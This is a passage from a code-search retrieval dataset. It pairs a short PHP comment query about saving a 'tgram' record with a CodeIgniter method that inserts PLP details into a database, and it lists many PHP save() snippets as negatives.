query
stringlengths 7
5.25k
| document
stringlengths 15
1.06M
| metadata
dict | negatives
listlengths 3
101
| negative_scores
listlengths 3
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
---|---|---|---|---|---|---|
/ Save tgram after check | function save_plp_details($post) {
$last_tgram_id = $this->mdl_common->save_tgram_by_user($post);
if ($last_tgram_id) {
$post['tgrmid'] = $last_tgram_id;
}
$this->mdl_common->save_pm_by_user($post);
$insert_data = array(
'tgrmid' => $post['tgrmid'],
'tgram_id' => $post['tgram_id'],
'account_name' => $post['account_name'],
'cid' => $post['cid'],
'error_details_plp' => $post['error_details_plp'],
'received_date' => $post['received_date'],
'account_type_id' => $post['account_type_id'],
'pm_id' => $post['pm_id'],
'billing_hour' => $post['billing_hour'],
'total_hour' => $post['billing_hour'],
'actual_hour' => $post['billing_hour'],
'comments' => $post['comments'],
'user_id' => $post['user_id'],
'submit_time' => date("Y-m-d G:i:s", time())
);
$this->db->insert('tbl_plp', $insert_data);
$plp_id = $this->db->insert_id();
$inserted_rows = $this->db->affected_rows();
if (isset($post['edit_id'])) {
$this->db->where('id', $plp_id);
$this->db->update('tbl_plp', array('edit_id' => $post['edit_id']));
$this->db->where('id', $post['edit_id']);
$this->db->update('tbl_edit', array('plp_id' => $plp_id));
}
if ($inserted_rows > 0) {
return 1;
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function savtb() {\n\t\tif (strlen($this->haslo)<40) $this->haslo=sha1($this->haslo);\n\t\t$this->llog=time();\n\t\tif (!$this->id) {\n\t\t\t$qstr='INSERT INTO users VALUES (NULL,\\''.$this->login.'\\',\\''.$this->haslo.'\\',\\''.$this->email.'\\',time())';\n\t\t\t$ret=db_exec($qstr);\n\t\t\t$id = db_lastInsertID();\n\t\t}\n\t\tif ($ret) return true;\n\t\treturn false;\n\t}",
"private function saveRobotsTxtAction()\n\t{\n\t\tinclude_once(ISC_BASE_PATH.'/lib/class.file.php');\n\t\t$fc = new FileClass();\n\t\t$content = $_POST['robotstxtFileContent'];\n\t\t$success = 'RobotsSaveSuccess';\n\n\t\tif (isset($_POST['robotstxtRevertButton'])) {\n\t\t\t// Revert button is clicked instead.\n\t\t\t$content = $this->defaultContent;\n\t\t\t$success = 'RobotsRevertSuccess';\n\t\t}\n\n\t\t$res = $fc->writeToFile($content, $this->filePath);\n\t\tif ($res == true) {\n\t\t\tFlashMessage(GetLang($success), MSG_SUCCESS, $this->mainUrl);\n\t\t} else {\n\t\t\tFlashMessage(GetLang('RobotsSaveError'), MSG_ERROR, $this->mainUrl);\n\t\t}\n\t}",
"function saveVister()\n {\n \n }",
"public function save() {\n\t\tif ($this->is_bad == true) {\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_headline, 'utf-8')) {\n\t\t\techo \"NO head\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_description1, 'utf-8')) {\n\t\t\techo \"NO description1\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_description2, 'utf-8')) {\n\t\t\techo \"NO description2\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\n\t\treturn parent::save();\n\t}",
"function save();",
"function save();",
"function updateData() {\n global $rundata, $pagebuffer, $spambotDataLoc;\n return ( file_put_contents( $spambotDataLoc.'rundata', serialize($rundata) ) && file_put_contents( $spambotDataLoc.'pagebuffer', serialize( $pagebuffer ) ) );\n \n}",
"public function saveNewTxtFile()\r\n {\r\n\r\n $fileName = date(\"Y-m-d\") . '-' . rand(0, 512) . \"Question\";\r\n\r\n $file = new StorageFileSaver($fileName);\r\n\r\n foreach ($this->fileContent as $content) {\r\n $file->write($content);\r\n }\r\n\r\n $file->saveAndCloseFile();\r\n }",
"public function save()\n {\n return FALSE;\n }",
"function save() {\n\t\t// If every question is answered, save to the db. Otherwise, to session.\n\t\tif($this->isComplete()) {\n\t\t\t$this->saveToRecord();\n\t\t} else {\n\t\t\t$this->saveToSession();\n\t\t}\n\t}",
"public function save() {\t\t\t\t\n\t\tif (file_put_contents($this->filename, $this->objects)) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}",
"private function save() {\n $this->state->get()['score'] += $this->dice->sum();\n $this->state->get()['round'] += 1;\n\n if ($this->state->get()['score'] >= 100) {\n $this->message = \"Grattis! Du vann!\";\n $this->cleardice = TRUE;\n $this->cleargame = TRUE;\n }\n\n $this->dice->clear();\n }",
"private function save() \n {\n $content = \"<?php\\n\\nreturn\\n[\\n\";\n\n foreach ($this->arrayLang as $this->key => $this->value) \n {\n $content .= \"\\t'\".$this->key.\"' => '\".$this->value.\"',\\n\";\n }\n\n $content .= \"];\";\n\n file_put_contents($this->path, $content);\n\n }",
"public final function save() {\n }",
"function SaveAfspraak()\n{\n //zoniet, return false\n\n //afspraak opslaan en return true\n\n}",
"function save_debug($txt,$file) {\n\n// ECRITURE FICHIER\n\t// ENREGISTREMENT LOG\n\tif ($fp=fopen($file, \"a\")) {\n\t\tfwrite($fp, \"\\n---------------------------------------------------------\\n\");\n\t\tfwrite($fp, $txt);\n\t\tfwrite($fp, \"\\n---------------------------------------------------------\\n\\n\");\n\t\tfclose($fp);\n\t} else {\n\t\techo \"Erreur d'ouverture de \".$file;\n\t}\n}",
"public static function save($webRadio){\n // sérialisation de l'objet\n $serialized_webradio = serialize($webRadio);\n $filename=\"../webRadio.txt\";\n if(file_put_contents($filename, $serialized_webradio.\"\\n\",FILE_APPEND)!=FALSE){\n return 1;\n }else{\n return 0;\n }\n \n }",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save() {\n\t\t\t\n\t\t}",
"function Save();",
"protected function _saveTry()\n {\n $this->_history[] = $this->_number;\n }",
"function save() {\n \tfile_put_contents(\"threads/{$this->id}\", serialize($this));\n }",
"public final function save()\n {\n }",
"function save() {\r\n\t\t$this->log .= \"save() called<br />\";\r\n\t\tif (count($this->data) < 1) {\r\n\t\t\t$this->log .= \"Nothing to save.<br />\";\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//create file pointer\r\n\t\tif (!$fp=@fopen($this->filename,\"w\")) {\r\n\t\t\t$this->log .= \"Could not create or open \".$this->filename.\"<br />\";\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//write to file\r\n\t\tif (!@fwrite($fp,serialize($this->data))) {\r\n\t\t\t$this->log .= \"Could not write to \".$this->filename.\"<br />\";\r\n\t\t\tfclose($fp);\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t//close file pointer\r\n\t\tfclose($fp);\r\n\t\treturn true;\r\n\t}",
"public function save():void;",
"public function saveData()\r\n {\r\n \r\n }",
"function loot($flag,$data){\n $file=\"loot/loot.txt\"; // make sure of the permissions on file.\n $content= file_get_contents($file);\n if ($flag == 0) {\n $content .= \"[[DATA]] \".$data.\"\\n\";\n //echo \"all good\";\n } else {\n $content .= \"[[ERROR]] invalid token\".\"\\n\";\n //echo \"bad\";\n }\n file_put_contents($file,$content);\n}",
"public function save()\r\n {\r\n \r\n }",
"function save() {\n $this->log .= \"save() called<br />\";\n if (count($this->data) < 1) {\n $this->log .= \"Nothing to save.<br />\";\n return false;\n }\n //create file pointer\n $this->log .= \"Save file name: \".$this->filename.\"<br />\";\n if (!$fp=@fopen($this->filename,\"w\")) {\n $this->log .= \"Could not create or open \".$this->filename.\"<br />\";\n return false;\n }\n //write to file\n if (!@fwrite($fp,serialize($this->data))) {\n $this->log .= \"Could not write to \".$this->filename.\"<br />\";\n fclose($fp);\n return false;\n }\n //close file pointer\n fclose($fp);\n return true;\n }",
"function save()\n {\n }",
"function save()\n {\n }",
"protected function savedraft()\n {\n global $INFO, $ID, $INPUT, $conf;\n\n if (class_exists('\\\\dokuwiki\\\\Draft', false)) {\n /* Release Hogfather (and above) */\n\n $draft = new \\dokuwiki\\Draft($ID, $INFO['client']);\n if (!$draft->saveDraft()) {\n $errors = $draft->getErrors();\n foreach ($errors as $error) {\n msg(hsc($error), -1);\n }\n }\n\n } else {\n /* Release Greebo and below */\n\n if (!$conf['usedraft']) return;\n if (!$INPUT->post->has('wikitext')) return;\n\n // ensure environment (safeguard when used via AJAX)\n assert(isset($INFO['client']), 'INFO.client should have been set');\n assert(isset($ID), 'ID should have been set');\n\n $draft = array(\n 'id' => $ID,\n 'prefix' => substr($INPUT->post->str('prefix'), 0, -1),\n 'text' => $INPUT->post->str('wikitext'),\n 'suffix' => $INPUT->post->str('suffix'),\n 'date' => $INPUT->post->int('date'),\n 'client' => $INFO['client'],\n );\n $cname = getCacheName($draft['client'] . $ID, '.draft');\n if (io_saveFile($cname, serialize($draft))) {\n $INFO['draft'] = $cname;\n }\n }\n }",
"public function save()\n {\n if ($this->tid)\n {\n $query = sprintf('UPDATE %sTASK SET TASK_STAT=\"%s\", TASK_NOTE=\"%s\" WHERE TASK_ID=%d',\n DB_TBL_PREFIX,\n mysql_real_escape_string($this->taskstate, $GLOBALS['DB']),\n mysql_real_escape_string($this->note, $GLOBALS['DB']),\n $this->tid);\n // print_r($query); \n mysql_query($query, $GLOBALS['DB']);\n \n }\n }",
"public function save()\n\t{\n\n\t}",
"private function _saveExt() {\r\n\r\n }",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"abstract public function save();",
"function checkSaveButtons() {\n if ($this->arrTableParameters['savedok'] || $this->arrTableParameters['saveandclosedok']) {\n $tce = GeneralUtility::makeInstance('t3lib_TCEmain');\n $tce->stripslashes_values=0;\n if (count($this->arrTableParameters['grps'])) {\n\t $arrSave['grps'] = $this->arrTableParameters['grps'];\n\t $arrData[$this->arrWizardParameters['table']][$this->arrWizardParameters['uid']][$this->arrWizardParameters['field']] = serialize($arrSave);\n } else {\n \t$arrData[$this->arrWizardParameters['table']][$this->arrWizardParameters['uid']][$this->arrWizardParameters['field']] = '';\n }\n $tce->start($arrData,array());\n\t $tce->process_datamap();\n if ($this->arrTableParameters['saveandclosedok']) {\n header('Location: ' . GeneralUtility::locationHeaderUrl($this->arrWizardParameters['returnUrl']));\n\t\t\t\texit;\n }\n }\n }",
"public function save() {}",
"public function save() {}",
"function savetxt($code, $titre){\n\t\t$fichier = fopen(\"save_code/\".$titre.'.txt', 'a+');\n\t\tfwrite($fichier, $code);\n\t\tfclose($fichier);\n\t\t$this->saved_txt = $titre;\n\t}",
"public function save() {}",
"public function save()\n\t {\n\t\tif (isset($this->_advert->date) === true && isset($this->_advert->phone) === true)\n\t\t {\n\t\t\t$bigfile = new BigFile(\"base-\" . $this->_advert->phone, 10);\n\t\t\t$bigfile->addrecord($this->_advert->date);\n\t\t } //end if\n\n\t }",
"public function save()\n\t{\n\t\treturn false;\n\t}",
"protected function save()\n\t{\n\t\t$this->saveItems();\n\t\t//$this->saveAssignments();\n\t\t//$this->saveRules();\n\t}",
"public\tfunction\tsave()\n\t\t{\n\t\t}",
"public function save(): bool;",
"public function save(): bool;",
"public function save()\n {\n $_SESSION['quiz'][$this->_testId] = serialize($this->_answers);\n }",
"private function save_hash_file(){\n\n $file = MD5_HASHER_DIR.$this->file_check;\n if(is_file($file) && is_writable($file)){\n $fh = fopen($file, 'w');\n fwrite($fh, json_encode($this->md5_gen_output));\n fclose($fh);\n return true;\n }\n\n return false;\n }",
"public function save(): bool\n {\n\n $bytes_written = file_put_contents($this->file_name, json_encode($this->getData()));\n\n if ($bytes_written === FALSE) {\n return false;\n }\n\n return true;\n }",
"public function save()\n {\n try {\n $testRunCache = new CTM_Test_Run_Cache();\n $testRun = $testRunCache->getById($this->testRunId);\n\n if ( $testRun->testRunStateId == $this->testRunStateId ) {\n // if the state is already set save the trouble of the save()\n } else if ( $testRun->testRunStateId == 5 ) {\n // If the test run has failed we cannot undo a failure.\n } else {\n $testRun->testRunStateId = $this->testRunStateId;\n $testRun->save();\n }\n\n } catch ( Exception $e ) {\n }\n\n // do the default save method.\n return parent::save();\n }",
"private static function save() {\n\t\tif(self::$data===null) throw new Excepton('Save before load!');\n\t\t$fp=fopen(self::$datafile,'w');\n\t\tif(!$fp) throw new Exception('Could not write data file!');\n\t\tforeach (self::$data as $item) {\n\t\t\tfwrite($fp,$item); // we use the __toString() here\n\t\t}\n\t\tfclose($fp);\n\t}",
"private function writeTextToFile() {\n\t\t$text = $this -> pm -> getText($this -> padid);\n\t\t$path = sprintf('%s/%s.tex', $this -> directory, $this -> name);\n\t\tfile_put_contents($path, $text);\n\t}",
"public function autosaved()\n {\n }",
"public function save()\n {\n }",
"public function saveTindakanKomponen(){\n\t\t\t$tindakankomponentersimpan = true;\n\t\t\t\n\t\t\treturn $tindakankomponentersimpan;\n\t\t}",
"function save($b){\r\n\techo \"<b>SOMETHING WENT WRONG.</b> Saving to _junk.txt<P>\";\t\r\n\t$fp = fopen(\"_junk.txt\", \"w\");\r\n\tfwrite($fp, $b); \r\n\tfclose($fp);\t\r\n}",
"public function saveDataToFile()\n {\n\n }",
"public function saveToFile() {\n\n $file = $this->getExtractedFile();\n\n $file->close();\n\n $this->extractedFile = false;\n }",
"private function saveFixture($name) {\n file_put_contents(\n $this->fixturePath() . '/' . $name . '.txt',\n serialize($this->{$name})\n );\n }",
"function save($objet) {\n\t// Random code for subject\n\t\t$code = substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, 5);\n\n\t\t$sql = \"INSERT INTO cat_materia(vchCodigoMateria, vchMateria)\n\t\t\t\tVALUES\t('\".$code.\"', '\".$objet['name'].\"')\";\n\t\t$result = $this -> query($sql);\n\t\t\n\t\treturn $result;\n\t}",
"public function save()\n {\n return file_put_contents($this->getFilepath(), $this->read());\n }",
"protected function onSaved()\n {\n return true;\n }",
"private function saveData(): void\n {\n $this->tab_chat_call->call_update = gmdate(\"Y-m-d H:i:s\"); //data e hora UTC\n $result = $this->tab_chat_call->save();\n\n if ($result) {\n $this->Result = true;\n $this->Error = [];\n $this->Error['msg'] = \"Sucesso!\";\n $this->Error['data']['call'] = $this->tab_chat_call->call_id;\n } else {\n $this->Result = false;\n $this->Error = [];\n $this->Error['msg'] = $this->tab_chat_call->fail()->getMessage();\n $this->Error['data'] = null;\n }\n }",
"public function save()\n {\n $settings = Yii::$app->getModule('termsbox')->settings;\n $settings->set('title', $this->title);\n $settings->set('statement', $this->statement);\n $settings->set('content', $this->content);\n $settings->set('active', (boolean) $this->active);\n $settings->set('showAsModal', (boolean) $this->showAsModal);\n $settings->set('hideUnaccepted', (boolean) $this->hideUnaccepted);\n\n if ($setting = Setting::findByName('content')) {\n RichText::postProcess($this->content, $setting);\n }\n\n if ($this->reset) {\n User::updateAll(['termsbox_accepted' => false]);\n if (!Yii::$app->user->isGuest) {\n Yii::$app->user->getIdentity()->termsbox_accepted = false;\n }\n }\n\n return true;\n }",
"function backup($bf, $preferences, $question, $level = 6) {\n //print('backup()');\n $status = true;\n $multichoices = get_records(\"question_turprove\", \"question\", $question, \"id\");\n //If there are multichoices\n if ($multichoices) {\n //Iterate over each multichoice\n foreach ($multichoices as $multichoice) {\n $status = fwrite($bf, start_tag(\"turprove\", $level, true));\n //Print multichoice contents\n fwrite($bf, full_tag(\"LAYOUT\", $level + 1, false, $multichoice->layout));\n fwrite($bf, full_tag(\"ANSWERS\", $level + 1, false, $multichoice->answers));\n fwrite($bf, full_tag(\"SINGLE\", $level + 1, false, $multichoice->single));\n fwrite($bf, full_tag(\"SHUFFLEANSWERS\", $level + 1, false, $multichoice->shuffleanswers));\n fwrite($bf, full_tag(\"CORRECTFEEDBACK\", $level + 1, false, $multichoice->correctfeedback));\n fwrite($bf, full_tag(\"PARTIALLYCORRECTFEEDBACK\", $level + 1, false, $multichoice->partiallycorrectfeedback));\n fwrite($bf, full_tag(\"INCORRECTFEEDBACK\", $level + 1, false, $multichoice->incorrectfeedback));\n\n fwrite($bf, full_tag(\"QUESTIONSOUND\", $level + 1, false, $multichoice->questionsound));\n fwrite($bf, full_tag(\"AUTOPLAY\", $level + 1, false, $multichoice->autoplay));\n fwrite($bf, full_tag(\"QDIFFICULTY\", $level + 1, false, $multichoice->qdifficulty));\n\n $status = fwrite($bf, end_tag(\"turprove\", $level, true));\n }\n\n //Now print question_answers\n // $status = backup_answers();\n // $status = question_backup_answers_tur($bf,$preferences,$question);\n $answers = get_records(\"question_answers\", \"question\", $question, \"id\");\n //If there are answers\n if ($answers) {\n\n\n $status = $status && fwrite($bf, start_tag(\"ANSWERS\", $level, true));\n //Iterate over each answer\n foreach ($answers as $answer) {\n $status = $status && fwrite($bf, start_tag(\"ANSWER\", $level + 1, true));\n //Print answer contents\n fwrite($bf, full_tag(\"ID\", $level + 2, false, $answer->id));\n fwrite($bf, full_tag(\"ANSWER_TEXT\", $level + 2, false, $answer->answer));\n fwrite($bf, full_tag(\"FRACTION\", $level + 2, false, $answer->fraction));\n fwrite($bf, full_tag(\"FEEDBACK\", $level + 2, false, $answer->feedback));\n\n if ($answer->answersound == null) {\n fwrite($bf, full_tag(\"ANSWERSOUND\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"ANSWERSOUND\", $level + 2, false, $answer->answersound));\n }\n\n if ($answer->feedbacksound == null) {\n fwrite($bf, full_tag(\"FEEDBACKSOUND\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"FEEDBACKSOUND\", $level + 2, false, $answer->feedbacksound));\n }\n\n if ($answer->tur_answer_truefalse == null) {\n fwrite($bf, full_tag(\"TUR_ANSWER_TRUEFALSE\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"TUR_ANSWER_TRUEFALSE\", $level + 2, false, $answer->tur_answer_truefalse));\n }\n\n $status = $status && fwrite($bf, end_tag(\"ANSWER\", $level + 1, true));\n }\n $status = $status && fwrite($bf, end_tag(\"ANSWERS\", $level, true));\n }\n\n //Now print question_answers\n // $status = question_backup_answers($bf, $preferences, $question);\n }\n return $status;\n }",
"public abstract function save();",
"public function testSave() {\n\t\t$temaBuscar = new Tema;\n\t\t$temaBuscar->nombre = 'Prueba';\n\t\t$this->assertEquals( count( $temaBuscar->search()->getData() ), 0 );\n\t\n\t\t// guarda el tema\n\t\t$tema = new Tema;\n\t\t$tema->nombre = 'Prueba';\n\t\t$tema->responsable = 1;\n\t\t$tema->save();\n\t\n\t\t$this->assertEquals( count( $temaBuscar->search()->getData() ), 1 );\n\t}",
"public function save()\r\n {\r\n //\r\n }",
"function beforeSaveLoop()\r\n {\r\n }",
"public function save(){\n return parent::writeFile( $this->outputFile, $this->template);\n }",
"private function check_DB() {\n $this->record_progress(\n \"Step 4: Identifying which mutations are already in database\");\n\n $path_valid = $this->path_valid;\n $path_new_input = $this->path_new_input;\n\n $table = \"NewSpliceman\";\n\n $this->record_progress(\"1\");\n\n $read_valid = fopen($path_valid, \"r\") or \n die (\"Unable to open file!\");\n $write_new_input = fopen($path_new_input, \"a\") or \n die (\"Unable to open file!\");\n\n $this->record_progress(\"2\");\n\n $valid_mutations = false;\n\n while (! feof($read_valid)) {\n $this->record_progress(\"3\");\n $mutation = fgets($read_valid);\n if (ctype_space($mutation)) {\n break;\n }\n $mutation_data = explode(\"\\t\", $mutation);\n $this->record_progress(\"4\");\n if ($this->is_valid($mutation_data)) {\n $this->record_progress(\"5\");\n $db_key = \n $mutation_data[0].\"_\".$mutation_data[5].\"_\".\n $mutation_data[6].\"_\".$mutation_data[7].\"_\".\n $mutation_data[11].\"_\".$mutation_data[12];\n // Removes newline characters, if they are present\n $db_key = str_replace(\"\\n\", \"\", $db_key);\n $this->record_progress(\"6\");\n $result = DB::table($table)->\n where('chr_loc_wild_mut_transcript_exon', $db_key)->\n first();\n $valid_mutations = true;\n $this->record_progress(\"8\");\n if (count($result) == 0) {\n fwrite($write_new_input, $mutation);\n }\n $this->record_progress(\"9\");\n } \n } \n\n $this->record_progress(\"10\");\n fclose($read_valid);\n fclose($write_new_input);\n\n $this->record_progress(\"11\");\n }",
"public function Save()\r\n {\r\n return false;\r\n }",
"protected function saveData()\n {\n // TODO: データ保存\n\n // 一次データ削除\n $this->deleteStore();\n\n drupal_set_message($this->t('The form has been saved.'));\n }",
"public function save()\n {\n // For V2.0\n }",
"function persist() ;",
"public function save()\n {\n return false;\n }",
"function saveTxT($chatId, $from, $message){\r\r\n $myfile = \"fichero.txt\";\r\r\n //$fichero = file_get_contents($myfile);\r\r\n $txt = $chatId.\"-\".$message.\"-\".$from. \" \\n\";\r\r\n //$fichero.= $txt;\r\r\n\r\r\n file_put_contents($myfile, $txt, FILE_APPEND | LOCK_EX); \r\r\n \r\r\n}",
"function save()\n {\n /* remove objectclass GOhard if this is an ogroup tab */\n if(isset($this->parent->by_object['ogroup'])){\n $this->objectclasses = array();\n }\n\n plugin::save();\n\n /* Strip out 'default' values */\n foreach(array(\"gotoXMethod\",\"gotoXDriver\", \"gotoXResolution\", \"gotoXColordepth\",\n \"gotoLpdServer\", \"gotoXKbModel\", \"gotoXKbLayout\",\n \"gotoXKbVariant\", \"gotoXMouseType\", \"gotoXMouseport\") as $val){\n\n if ($this->attrs[$val] == \"default\"){\n $this->attrs[$val]= array();\n }\n }\n\n if($this->gotoXMethod == \"default\"){\n $this->attrs['gotoXdmcpServer'] = array();\n $this->attrs['gotoXMethod'] = array();\n }else{\n $this->attrs['gotoXdmcpServer'] = array_values($this->selected_xdmcp_servers);\n }\n\n\n if($this->AutoSync){\n $this->attrs['gotoXHsync'] = \"30+55\";\n $this->attrs['gotoXVsync'] = \"50+70\";\n }\n\n /* Write back to ldap */\n $ldap= $this->config->get_ldap_link();\n $ldap->cd($this->dn);\n $this->cleanup();\n $ldap->modify ($this->attrs); \n new log(\"modify\",\"terminal/\".get_class($this),$this->dn,array_keys($this->attrs),$ldap->get_error());\n\n if (!$ldap->success()){\n msg_dialog::display(_(\"LDAP error\"), msgPool::ldaperror($ldap->get_error(), $this->dn, LDAP_MOD, get_class()));\n }\n $this->handle_post_events(\"modify\");\n\n /* Send goto reload event */\n if(count($this->attrs)){\n $this->send_goto_reload();\n }\n }",
"public static function Guardar($unAuto)\n {\n//var_dump($unAuto);\n $archivo = fopen(\"Archivos/estacionados.txt\", \"a\");\n $renglon = $unAuto->patente.\"--\".$unAuto->fechIngreso.\"\\n\";\n \n fwrite($archivo, $renglon);\n fclose($archivo);\n }"
]
| [
"0.6235355",
"0.6001607",
"0.5981118",
"0.5953967",
"0.59170145",
"0.59170145",
"0.5859388",
"0.58337224",
"0.5832184",
"0.5781754",
"0.5767901",
"0.57483494",
"0.56978834",
"0.5679583",
"0.5669856",
"0.56463945",
"0.5623309",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56205744",
"0.56169724",
"0.5596745",
"0.55925655",
"0.55856293",
"0.55534434",
"0.55400544",
"0.5528456",
"0.55241466",
"0.5518528",
"0.5514843",
"0.5509972",
"0.5509972",
"0.55047214",
"0.5488083",
"0.54768497",
"0.54685104",
"0.54631245",
"0.54631245",
"0.54631245",
"0.54631245",
"0.54631245",
"0.5458759",
"0.5457468",
"0.5457468",
"0.545722",
"0.5456213",
"0.5435363",
"0.54196465",
"0.54078287",
"0.5380466",
"0.53797674",
"0.53797674",
"0.53712034",
"0.5361019",
"0.5359859",
"0.5359556",
"0.5356831",
"0.53560615",
"0.53506726",
"0.53433245",
"0.53344697",
"0.5330188",
"0.53145325",
"0.53143454",
"0.5302848",
"0.52948487",
"0.5291777",
"0.5283259",
"0.527963",
"0.5276262",
"0.52710086",
"0.5257396",
"0.5252445",
"0.5246335",
"0.52327543",
"0.5228348",
"0.52275366",
"0.52264315",
"0.5224937",
"0.5216576",
"0.5215499",
"0.5212072",
"0.5202544",
"0.52021486",
"0.51957726"
]
| 0.0 | -1 |
/ Save tgram after check | function update_plp_details_by_user($post) {
$last_tgram_id = $this->mdl_common->save_tgram_by_user($post);
if ($last_tgram_id) {
$post['tgrmid'] = $last_tgram_id;
}
$this->mdl_common->save_pm_by_user($post);
$update_data = array(
'tgrmid' => $post['tgrmid'],
'tgram_id' => $post['tgram_id'],
'account_name' => $post['account_name'],
'cid' => $post['cid'],
'error_details_plp' => $post['error_details_plp'],
'received_date' => $post['received_date'],
'account_type_id' => $post['account_type_id'],
'pm_id' => $post['pm_id'],
'billing_hour' => $post['billing_hour'],
'total_hour' => $post['billing_hour'],
'actual_hour' => $post['billing_hour'],
'comments' => $post['comments'],
'user_id' => $post['user_id'],
'submit_time' => date("Y-m-d G:i:s", time())
);
$this->db->where('id', $post['plp_id']);
$this->db->update('tbl_plp', $update_data);
return 1;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function savtb() {\n\t\tif (strlen($this->haslo)<40) $this->haslo=sha1($this->haslo);\n\t\t$this->llog=time();\n\t\tif (!$this->id) {\n\t\t\t$qstr='INSERT INTO users VALUES (NULL,\\''.$this->login.'\\',\\''.$this->haslo.'\\',\\''.$this->email.'\\',time())';\n\t\t\t$ret=db_exec($qstr);\n\t\t\t$id = db_lastInsertID();\n\t\t}\n\t\tif ($ret) return true;\n\t\treturn false;\n\t}",
"private function saveRobotsTxtAction()\n\t{\n\t\tinclude_once(ISC_BASE_PATH.'/lib/class.file.php');\n\t\t$fc = new FileClass();\n\t\t$content = $_POST['robotstxtFileContent'];\n\t\t$success = 'RobotsSaveSuccess';\n\n\t\tif (isset($_POST['robotstxtRevertButton'])) {\n\t\t\t// Revert button is clicked instead.\n\t\t\t$content = $this->defaultContent;\n\t\t\t$success = 'RobotsRevertSuccess';\n\t\t}\n\n\t\t$res = $fc->writeToFile($content, $this->filePath);\n\t\tif ($res == true) {\n\t\t\tFlashMessage(GetLang($success), MSG_SUCCESS, $this->mainUrl);\n\t\t} else {\n\t\t\tFlashMessage(GetLang('RobotsSaveError'), MSG_ERROR, $this->mainUrl);\n\t\t}\n\t}",
"function saveVister()\n {\n \n }",
"public function save() {\n\t\tif ($this->is_bad == true) {\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_headline, 'utf-8')) {\n\t\t\techo \"NO head\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_description1, 'utf-8')) {\n\t\t\techo \"NO description1\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tif (!mb_strlen($this->ga_description2, 'utf-8')) {\n\t\t\techo \"NO description2\\r\\n\";\n\t\t\treturn false;\n\t\t}\n\n\t\treturn parent::save();\n\t}",
"function save();",
"function save();",
"function updateData() {\n global $rundata, $pagebuffer, $spambotDataLoc;\n return ( file_put_contents( $spambotDataLoc.'rundata', serialize($rundata) ) && file_put_contents( $spambotDataLoc.'pagebuffer', serialize( $pagebuffer ) ) );\n \n}",
"public function saveNewTxtFile()\r\n {\r\n\r\n $fileName = date(\"Y-m-d\") . '-' . rand(0, 512) . \"Question\";\r\n\r\n $file = new StorageFileSaver($fileName);\r\n\r\n foreach ($this->fileContent as $content) {\r\n $file->write($content);\r\n }\r\n\r\n $file->saveAndCloseFile();\r\n }",
"public function save()\n {\n return FALSE;\n }",
"function save() {\n\t\t// If every question is answered, save to the db. Otherwise, to session.\n\t\tif($this->isComplete()) {\n\t\t\t$this->saveToRecord();\n\t\t} else {\n\t\t\t$this->saveToSession();\n\t\t}\n\t}",
"public function save() {\t\t\t\t\n\t\tif (file_put_contents($this->filename, $this->objects)) {\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}",
"private function save() {\n $this->state->get()['score'] += $this->dice->sum();\n $this->state->get()['round'] += 1;\n\n if ($this->state->get()['score'] >= 100) {\n $this->message = \"Grattis! Du vann!\";\n $this->cleardice = TRUE;\n $this->cleargame = TRUE;\n }\n\n $this->dice->clear();\n }",
"private function save() \n {\n $content = \"<?php\\n\\nreturn\\n[\\n\";\n\n foreach ($this->arrayLang as $this->key => $this->value) \n {\n $content .= \"\\t'\".$this->key.\"' => '\".$this->value.\"',\\n\";\n }\n\n $content .= \"];\";\n\n file_put_contents($this->path, $content);\n\n }",
"public final function save() {\n }",
"function SaveAfspraak()\n{\n //zoniet, return false\n\n //afspraak opslaan en return true\n\n}",
"function save_debug($txt,$file) {\n\n// ECRITURE FICHIER\n\t// ENREGISTREMENT LOG\n\tif ($fp=fopen($file, \"a\")) {\n\t\tfwrite($fp, \"\\n---------------------------------------------------------\\n\");\n\t\tfwrite($fp, $txt);\n\t\tfwrite($fp, \"\\n---------------------------------------------------------\\n\\n\");\n\t\tfclose($fp);\n\t} else {\n\t\techo \"Erreur d'ouverture de \".$file;\n\t}\n}",
"public static function save($webRadio){\n // sérialisation de l'objet\n $serialized_webradio = serialize($webRadio);\n $filename=\"../webRadio.txt\";\n if(file_put_contents($filename, $serialized_webradio.\"\\n\",FILE_APPEND)!=FALSE){\n return 1;\n }else{\n return 0;\n }\n \n }",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save();",
"public function save() {\n\t\t\t\n\t\t}",
"function Save();",
"protected function _saveTry()\n {\n $this->_history[] = $this->_number;\n }",
